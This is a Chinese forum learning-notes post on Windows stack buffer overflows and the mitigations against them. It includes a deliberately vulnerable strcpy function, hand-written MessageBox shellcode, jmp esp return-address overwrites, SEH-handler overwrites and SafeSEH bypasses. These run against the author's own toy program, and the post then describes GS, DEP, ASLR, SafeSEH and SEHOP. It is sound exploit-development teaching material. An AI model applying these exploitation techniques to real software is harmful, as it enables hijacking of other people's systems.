首页
社区
课程
招聘
[原创]Windows平台下栈溢出漏洞学习笔记
发表于: 2022-1-15 14:52 23828

[原创]Windows平台下栈溢出漏洞学习笔记

2022-1-15 14:52
23828

一.漏洞原理

1.漏洞成因

要理解该漏洞的成因,最重要的是要理解函数执行细节。简单来说,由于程序使用call指令调用函数的时候,会改变eip的值,以此来修改程序要执行的指令的地址。而为了让程序在执行完函数以后可以正确返回到调用完函数以后要执行的指令地址,在通过call指令调用函数的时候,除了会修改eip为函数的地址,也会将call指令的下一条指令地址(返回地址)保存在栈中。同时,在Debug模式下,函数内部也会保存调用函数前的ebp的值,并将ebp的值调整到栈顶。接着将栈顶指针esp减去一定的大小,开辟出一段栈空间,用来将局部变量保存在栈中,此时esp指向的就是开辟的这段栈空间的栈顶,ebp指向的是栈空间的栈底,最终形成的栈的局部就会如下图所示:

此时就可以通过ebp来方便的对局部变量和参数进行操作,[ebp - X]就可以获取相应的局部变量,[ebp + 0x8 + X]就可以获得相应的参数。而函数返回的时候,函数会通过mov esp, ebp指令,将栈顶esp指针指向栈底指针ebp,接着指向pop ebp将保存的原ebp的值赋值给ebp,此时esp将指向保存返回地址的栈地址。最终函数通过调用retn指令来退出函数,该指令会将esp指向的栈地址中所保存的返回地址赋值给eip。也就是说,函数执行完毕之后,继续执行的指令地址此时就会由在栈中保存的返回地址来决定。

由上图可知,保存返回地址和原ebp的栈地址是紧跟在局部变量后面的。如果函数没有对用户输入的数据长度进行验证,就将输入的数据保存在局部变量中,就很有可能导致输入的数据覆盖掉返回地址。这样,就导致了返回地址被修改,那么函数退出以后要执行的指令的地址就会变成覆盖以后所指定的地址。

如下的代码执行的功能很简单,仅仅是将pSzInput指向的字符串复制到局部变量szStr中。但是,此时函数并没有对pSzInput所指向的字符串的长度进行验证,且strcpy函数也只是以0x0作为字符串结束符,将pSzInput所指向的字符串复制到局部变量szStr中。此时,如果pSzInput所指向的字符串长度大于0x8,就会导致复制完以后的数据溢出局部变量szStr的栈空间,导致覆盖掉返回地址产生漏洞。

void test(char *pSzInput)
{
	char szStr[0x8] = { 0 };

	strcpy(szStr, pSzInput);
}

接下来通过调试器来观察数据的保存,首先通过如下代码查看正常情况下,也就是输入数据的长度小于0x8的时候,数据是如何保存的。

int main()
{
	char szInput[0x100] = { 0 };
	int iInputLen = 0x8;

	memset(szInput, 'A', iInputLen);
	test(szInput);

	system("pause");

	return 0;
}

将程序运行到strcpy函数调用前,此时ecx保存的就是要赋值的目标字符串的地址,可以看到在赋值前,该数组的元素都是0。紧邻这个数组后面的栈地址,所保存的就是原ebp以及返回地址。

执行完strcpy函数以后,数组中的元素都变成了0x41,也就是字符'A'对应的asscill码值。

紧跟该数组保存的就是原ebp和返回地址的值。因为输入数据的长度没有超过数据szStr的大小(0x8),因此,原ebp和返回地址并没有被覆盖掉,函数可以正常返回到调用函数的指令的下一条指令开始正常运行。

但是,如果此时输入数据的长度超过局部变量数组szStr的长度(0x8)的话,输入数据就会将原ebp以及返回地址覆盖掉。接下来,将输入数据的长度修改为0x10,这样就可以刚好覆盖掉原ebp和返回地址。

int main()
{
	char szInput[0x100] = { 0 };
	int iInputLen = 0x10;

	memset(szInput, 'A', iInputLen);
	test(szInput);

	system("pause");

	return 0;
}

此时,调用完strcpy以后,可以看到输入数据将原ebp以及返回地址全部覆盖掉了,修改成了字符'A'对应的asscill值。

函数继续运行,在运行retn指令返回函数前,可以看到esp所指向的栈地址中保存的返回地址被修改成了0x41414141。

接着执行retn指令,程序就会将eip修改为0x41414141。

由于0x41414141这个地址没有保存合法的指令,因此程序会抛出异常。

2.漏洞利用

由上内容可以知道,可以通过控制输入数据的长度和数值实现对返回地址的修改。这样,当函数执行retn指令退出函数的时候,就会将eip修改为指定的地址,而在该地址中,如果保存想要运行的指令了,就成功利用了该漏洞实现了对程序的劫持。

由于,此时只能控制栈中保存的数据,所以要执行的指令就只能保存在栈中。因此,想要执行保存在栈中的指令,就需要将eip修改为栈中的地址,这样就会运行保存在栈中的指令。

而实现该功能的最佳选择就是jmp esp指令,该指令对应的指令编码是0xFFE4。因此,可以想办法在程序中找到这条指令的地址,修改程序的返回地址为保存该指令的地址,这样退出函数的时候,程序就会跳转到jmp esp指令。通过该指令,eip就会修改为esp中保存的地址,而在通过retn指令退出函数的时候,该指令会将esp加4,也就是说此时的esp指向的是保存返回地址的栈地址的随后的地址。

而jmp esp指令的地址,最好从ntdll.dll中获取,因为该dll是最早映射到进程空间的dll,因此它在每个进程中的地址基本是一致的。在我的测试系统上,ntdll.dll中保存该指令的地址是0x7C961EED。因此,可以通过将返回地址修改为该地址的方式,实现将eip修改为栈中空间的地址。

现在已经可以让程序退出函数的时候,成功跳转到保存了返回地址的栈地址偏移0x4的地址继续执行。因此,此时只需要将要运行的指令跟在返回地址之后,就可以实现执行想要的代码,这段代码也成为ShellCode。

下面就是一段简单的ShellCode,功能是执行一个MessageBox函数,然后在调用ExitProcess退出程序,因此此时是因为strcpy产生的漏洞,所以,编写的ShellCode不能含有0,否则的话就会被strcpy认为字符串已经结束,导致ShellCode运行失败。调用的函数MessageBox和ExitProcess需要是测试的机器上的地址,这个可以使用调试器获取。

char g_szShellCode[] = { 
			  0x33, 0xDB,			// xor ebx, ebx
			  0x53,				// push ebx,将字符串的结束符0压入栈中         
			  0x68, 0x68, 0x61, 0x63, 0x6B,	// push 0x6B636168,将字符串"hack"压入栈中
			  0x8B, 0xC4,			// mov eax, esp,将字符串的首地址赋给eax
			  0x53,				// push ebx
			  0x50,				// push eax
			  0x50,				// push eax
			  0x53,				// push ebx
			  0xB8, 0x0B, 0x05, 0xD5, 0x77,	// mov eax, user32.MessageBox
			  0xFF, 0xD0,			// call eax
			  0x53,				// push ebx
			  0xB8, 0xA2, 0xCA, 0x81, 0x7C,  // mov eax, user32.ExitProcess
			  0xFF, 0xD0				// call eax
			};

最终完成漏洞利用的代码如下:

int main()
{
	char szInput[0x100] = { 0 };
	int iJunkLen = 0x8;
	int iEbpLen = 0x4;
	int iRetLen = 0x4;
	DWORD dwRetAddr = 0x7C961EED;				    // jmp esp地址
	
	LoadLibrary("user32.dll");					  // MessageBox函数在该中,需要将其导入才可以调用
	memset(szInput, 'A', iJunkLen);				   // 覆盖局部变量szStr
	memset(szInput + iJunkLen, 'B', iEbpLen);			      // 覆盖ebp
	*(PDWORD)(szInput + iJunkLen + iEbpLen) = dwRetAddr;		// 覆盖返回地址
	strcpy(szInput + iJunkLen + iEbpLen + iRetLen, g_szShellCode);	// 保存ShellCode
	test(szInput);

	system("pause");

	return 0;
}

编译好程序以后,首先查看当strcpy运行完时的栈中数据可以看到,此时的原ebp和返回地址已经被覆盖掉,返回地址修改为了ntdll.dll中的地址。

当执行retn指令的时候,此时的栈顶保存的就是ntdll.dll中的该地址。

因此,继续执行retn指令,就会跳转到ntdll.dll中的地址执行,而该地址保存的指令就是jmp esp。且此时的esp进行了+4的操作,所以此时的esp,就是紧跟在输入数据中返回地址后的ShellCode。

因此,继续执行jmp esp指令,就会让程序跳转到在栈中保存的ShellCode执行。

继续执行ShellCode就会弹窗后退出函数。

二.Windows安全机制

为了缓解栈溢出漏洞带来的问题,微软提供了如下的内存保护措施:

  • 增加了对S.E.H的安全机制,能够有效地挫败绝大多数通过改写S.E.H而劫持进程地攻击

  • 使用GS编译技术,在函数返回地址之前加入了Security Cookie,在函数返回前首先检测Security Cookie是否被覆盖,从而把针对操作系统的栈溢出变得非常困难

  • DEP(数据执行保护)将数据部分标识为不可执行,阻止了栈中攻击代码的执行

  • ASLR(加载地址随机)技术通过对系统关键地址的随机化,使得经典栈溢出手段失效

  • SEHOP(S.E.H覆盖保护)作为对安全S.E.H机制的补充,SEHOP将S.E.H的保护提升到系统级别,使得S.E.H的保护机制更为有效

接下来将一一对这些技术进行介绍。

三.通过SEH实现漏洞利用

1.利用原理

SEH即异常处理结构体,它是Windows异常处理机制所采用的重要数据结构。每个SEH包含两个DWORD指针:SEH链表指针和异常处理函数句柄,共八字节,如下图所示:

SEH的结构体是保存在系统栈中的,栈中一般会同时存在多个SEH。这些SEH会通过链表指针由栈顶向栈底串成单项链表,位于链表最顶端的SEH通过TEB偏移为0字节所保存的指针标识,如下图所示。

当异常发生时,操作系统会中断程序,并首先从TEB的0字节偏移处取出距离栈顶最近的SEH,使用异常处理函数句柄所指向的代码来处理异常。当离“事故现场”最近的异常处理函数运行失败时,将顺着SEH链表以此尝试其他的异常处理函数。如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序。

由于SEH是存放在栈中的,因此如果数据溢出缓冲区,那么就很有可能会淹没掉SEH。以下就是利用SEH来产生攻击的步骤:

  1. 精心制造的溢出数据可以把SEH中异常处理函数的入口地址更改为shellcode的起始地址

  2. 溢出后错误的栈往往会触发异常

  3. 当Windows开始处理溢出后的异常时,会错误地把shellcode当作异常处理函数而执行

接下来依然使用上面有栈溢出漏洞的test函数作为测试,但是此时需要在栈中注册一个结构化异常处理器。注册的方式也很简单,只要在栈中保存一份SEH结构体即可,且异常处理函数指针指向的函数满足如下的格式:

EXCEPTION_DISPOSITION except_handler(_EXCEPTION_RECORD *ExceptionRecord,
				     void *EstablisherFrame,
				     _CONTEXT *ContextRecord,
				     void *DispatcherContext);

因此对于函数的调用,要改成如下的代码:

	// 注册异常处理器
	__asm
	{
		push except_handler		// 处理器结构指针
		push fs:[0]			// 前一个结构化异常处理器的地址
		mov fs:[0], esp		// 登记新的结构
	}

	test(szInput);
	
	// 销毁异常处理器
	__asm
	{
		mov eax, [esp]		// 从栈顶取得前一个异常登记结构的地址
		mov fs:[0], eax		// 将前一个异常结构的地址赋给
		add esp, 8			// 清理栈上的异常登记结构
	}

由于要覆盖的是异常处理函数地址,所以要计算test函数中的局部变量具体SEH结构的偏移,这样才可以构造足够长度的输入数据来覆盖第一个异常处理函数之前的栈空间,然后才可以覆盖掉异常处理函数的地址。

因此首先要在调试器中中断到test函数的strcpy函数的调用处。

可以看到此时局部变量的保存地址是0x12FE00,异常处理函数的保存地址是0x12FE18。因此,局部变量地址距离SEH结构的地址相差0x18,首先就需要对这0x18大小的栈空间进行覆盖,随后在的4字节覆盖的就是异常处理函数的地址,可以将其覆盖为shellcode的地址,这样程序出现异常的时候就会跳转到shellcode的地址继续执行。据此,可以写出如下的漏洞利用代码:

int main()
{
	char szInput[0x100] = { 0 };
	int iJunkLen = 0x18;
	
	LoadLibrary("user32.dll");				       // MessageBox函数在该中,需要将其导入才可以调用
	memset(szInput, 'A', iJunkLen);			    // 覆盖异常处理函数之前的数据
	*(PDWORD)(szInput + iJunkLen) = (DWORD)g_szShellCode;    // 将异常处理函数修改为SellCode的地址
	
	// 注册异常处理器
	__asm
	{
		push except_handler		              // 处理器结构指针
		push fs:[0]				         // 前一个结构化异常处理器的地址
		mov fs:[0], esp			         // 登记新的结构
	}
	
	system("pause");
	test(szInput);
	
	// 销毁异常处理器
	__asm
	{
		mov eax, [esp]			       // 从栈顶取得前一个异常登记结构的地址
		mov fs:[0], eax			       // 将前一个异常结构的地址赋给
		add esp, 8			           // 清理栈上的异常登记结构
	}

	system("pause");

	return 0;
}

在调试器中可以看到,当test函数执行完strcpy以后,SEH结构被覆盖掉,此时异常处理函数指向了shellcode的地址


程序继续向下运行,由于返回地址被修改会0x41414141,所以执行retn指令会出现异常。在处理异常的过程中,就会执行shellcode。

2.SafeSEH

在Windows XP SP2及后续版本的操作系统中,微软引入了SEH校验机制SafeSEH。SafeSEH的原理很简单,在程序调用异常处理函数前,对要调用的异常处理函数进行一系列的有效性校验,当发现异常处理函数不可靠时将终止异常处理函数的调用。SafeSEH实现需要操作系统与编译器的双重支持,二者缺一都会降低SafeSEH的保护能力。

在编译器层面,编译器通过启用/SafeSEH链接选项可以让编译好的程序具备SEH功能,这一链接选项在Visual Studio 2003及后续版本中是默认启用的。启用该链接选项后,编译器在编译程序的时候将程序所有的异常处理函数地址提取出来,编入一张安全的SEH表,并将这张表放到程序的映像里面。当程序调用异常处理函数的时候会将函数地址与安全SEH表进行匹配,检查调用的异常处理函数是否位于安全SEH表中。

在系统层层面,SafeSEH机制是在异常分发函数RtlDispatchException函数开始的,以下是其保护措施:

  1. 检查异常处理链是否位于当前程序的栈中。如果不在当前栈中,程序将终止异常处理函数的调用

  2. 检查异常处理函数指针是否指向当前程序的栈中。如果指向当前栈中,程序将终止异常处理函数的调用

  3. 在前两项检查都通过后,程序调用一个全新的函数RtlIsValidHandler(),来对异常处理函数的有效性进行验证

其中,RtlIsValidHandler函数的执行流程如下:

首先,该函数判断异常处理函数地址是不是在加载模块的内存空间,如果属于加载模块的内存空间,校验函数将依次进行如下校验:

  • 判断程序是否设置了IMAGE_DLLCHARACTERSTICS_NO_SEH标识。如果设置了这个标识,这个程序内的异常会被忽略。所以这个标志被设置时,函数直接返回校验失败

  • 检测程序是否包含SEH表。如果程序包含SEH表,则将当前的异常处理函数地址与该表进行匹配,匹配成功则返回校言成功,匹配失败则返回校验失败

  • 判断程序是否设置了ILonly标识。如果设置了这个标识,说明该程序只包含.NET编译的中间语言,函数直接返回校验失败

  • 判断异常处理函数地址是否位于不可执行页上。当异常处理函数地址位于不可执行页上,校验函数将检测DEP是否开启,如果系统未开启DEP则返回校验成功,否则程序抛出访问违例的异常

如果异常处理函数的地址没有包含在加载模块的内存空间,校验函数将直接进行DEP相关检测,函数依次进行如下校验:

  • 判断异常处理函数地址是否位于不可执行页上。当异常处理器函数地址位于不可执行页上时,校验函数将检测DEP是否开启,如果系统未开启DEP则返回校验成功,否则程序抛出违例的异常

  • 判断系统是否允许跳转到加载模块的内存空间外执行,如果允许则返回校验成功,否则返回校验失败

下图是RtlDispatchException函数的校验流程:

由于SafeSEH机制的存在,上述的漏洞利用方式就会无效。程序在检测到异常处理函数的异常以后,将会直接退出程序,而不会去执行ShellCode。所以,要想成功利用漏洞,就需要绕过SafeSEH机制。

3.从堆中绕过SafeSEH

由于当异常处理函数指向堆中的内存地址的时候,不会触发SafeSEH机制。因此,可以通过将ShellCode复制到堆中,同时将异常处理函数覆盖为保存了ShellCode的堆地址的方式来绕过SafeSEH机制,触发漏洞。

此时的漏洞利用代码如下:

int main()
{
	char *buf = (char *)malloc(100);
	char szInput[0x100] = { 0 };
	int iJunkLen = 0x18;
	
	LoadLibrary("user32.dll");		      // MessageBox函数在该中,需要将其导入才可以调用
	
	// 将ShellCode复制到堆中
	memset(buf, 0, 100);			
	strcpy(buf, g_szShellCode);

	memset(szInput, 'A', iJunkLen);		  // 覆盖异常处理函数之前的数据
	*(PDWORD)(szInput + iJunkLen) = (DWORD)buf;   // 将异常处理函数修改为申请的堆的地址
	
	// 注册异常处理器
	__asm
	{
		push except_handler		// 处理器结构指针
		push fs:[0]			// 前一个结构化异常处理器的地址
		mov fs:[0], esp		// 登记新的结构
	}
	
	test(szInput);
	
	// 销毁异常处理器
	__asm
	{
		mov eax, [esp]		// 从栈顶取得前一个异常登记结构的地址
		mov fs:[0], eax		// 将前一个异常结构的地址赋给
		add esp, 8			// 清理栈上的异常登记结构
	}

	system("pause");

	return 0;
}

此时运行程序,则ShellCode就会顺利执行。

4.利用未启用SafeSEH模块绕过SEH

当异常处理函数指向的地址在未开启SafeSEH模块的时候,也可以突破SafeSEH机制。如下图所示,此时的SEH_NoSafeSEH_JUMP.dll没有开启SafeSEH。那就可以尝试从该模块中查找可以修改eip执行的指令,将异常处理函数的地址修改为该指令的地址,就可以实现对程序的劫持。

在该模块中的0x11121012和0x11121015都有pop + retn组合的指令,这样的组合可以控制程序的运行。接下来用以下代码查看运行的细节:

int main()
{
	char szInput[0x100] = { 0 };
	int iJunkLen = 0x18;
	
	LoadLibrary("SEH_NoSafeSEH_JUMP.dll");				// 导入关闭SafeSEH的模块
	LoadLibrary("user32.dll");				    // MessageBox函数在该中,需要将其导入才可以调用
	
	memset(szInput, 'A', iJunkLen);				// 覆盖异常处理函数之前的数据
	*(PDWORD)(szInput + iJunkLen) = (DWORD)0x11121014;		// 要跳转到的未开启SafeSEH的模块的地址
	
	system("pause");

	// 注册异常处理器
	__asm
	{
		push except_handler		// 处理器结构指针
		push fs:[0]			// 前一个结构化异常处理器的地址
		mov fs:[0], esp		// 登记新的结构
	}
	
	test(szInput);


	// 销毁异常处理器
	__asm
	{
		mov eax, [esp]		// 从栈顶取得前一个异常登记结构的地址
		mov fs:[0], eax	        // 将前一个异常结构的地址赋给
		add esp, 8			// 清理栈上的异常登记结构
	}

	system("pause");

	return 0;
}

运行程序以后,使用调试器对其进行附加,在程序执行完strcpy的时候可以看到异常处理函数地址已经被修改为未开启SafeSEH的模块的地址

在该地址下断点以后,继续运行程序,可以看到程序成功跳转到该处执行。此时已经证明,通过将异常处理函数地址修改为未开启SafeSEH模块的地址是可以绕过SafeSEH。但是此时的esp的值变得过小(和局部变量szStr相差-0x3C0),导致漏洞难以利用,就没有再进一步尝试执行ShellCode

5.利用加载模块之外的地址绕过SafeSEH

一个进程会以共享的方式打开多个其他文件,此时保存这些文件内容的内存的类型是Map类型,如下图所示。SafeSEH是无视它们的,当异常处理函数指针指向的是这些地址范围内,是不对其进行有效性验证的。因此,可以通过在这些模块中查找跳转指令,将指令地址覆盖给异常处理函数,就可以绕过SafeSEH。

基本上做法和上面的差不多,只不过这次换成了用共享内存的方式加载的其他模块中,然后问题也是同样的(esp太小),不好利用,就不继续了。

四.SEHOP

SEHOP是一种更为严厉的SEH保护机制,Windows7,Windows10等系统均支持。想要开启SEHOP,只需要在注册表的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel下找到DisableExceptionChainValidation项,将该值设置为0,即可启用SEHOP,如下图所示:

SEHOP的核心任务就算上检查SEH链的完整性,在程序转入异常处理前SEHOP会检查SEH链上最后一个异常处理函数是否为系统固定的终极异常处理函数。如果是,则说明这条SEH链没有被破坏,程序可以去执行当前的异常处理函数;如果不是,则说明SEH链被破坏,可能发生了SEH覆盖攻击,程序将不会去执行当前的异常处理函数。

下图是典型的SEH攻击的流程,攻击时将SEH的异常处理函数地址覆盖为跳板指令地址,跳板指令根据实际情况进行选择。当程序出现异常的时候,系统会从SEH链中取出异常处理函数来处理异常,异常处理函数的指针已经被覆盖,程序的流程就会被劫持,在经过一系列跳转后转入shellcode执行。

由于覆盖异常处理函数指针时同时覆盖了下一异常处理结构的指针,这样的话SEH链就会被破坏,从而被SEHOP检测出来。

作为对SafeSEH强有力的补充,SEHOP检查是在SafeSEH的RtlIsValidHandler函数检验前进行的,也就是说利用攻击模块之外的地址,堆地址和未启用SafeSEH模块的方法都行不通了。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-12-28 16:13 被1900编辑 ,原因:
收藏
免费 5
支持
分享
最新回复 (4)
雪    币: 2577
活跃值: (13159)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
2
辛苦码文
2022-1-15 18:19
0
雪    币: 22413
活跃值: (25400)
能力值: ( LV15,RANK:910 )
在线值:
发帖
回帖
粉丝
3
一半人生 辛苦码文
边学边记也还行
2022-1-16 11:04
0
雪    币: 15033
活跃值: (18246)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2022-1-17 09:40
0
雪    币: 5800
活跃值: (3410)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
很好的分享
2022-1-18 15:22
0
游客
登录 | 注册 方可回帖
返回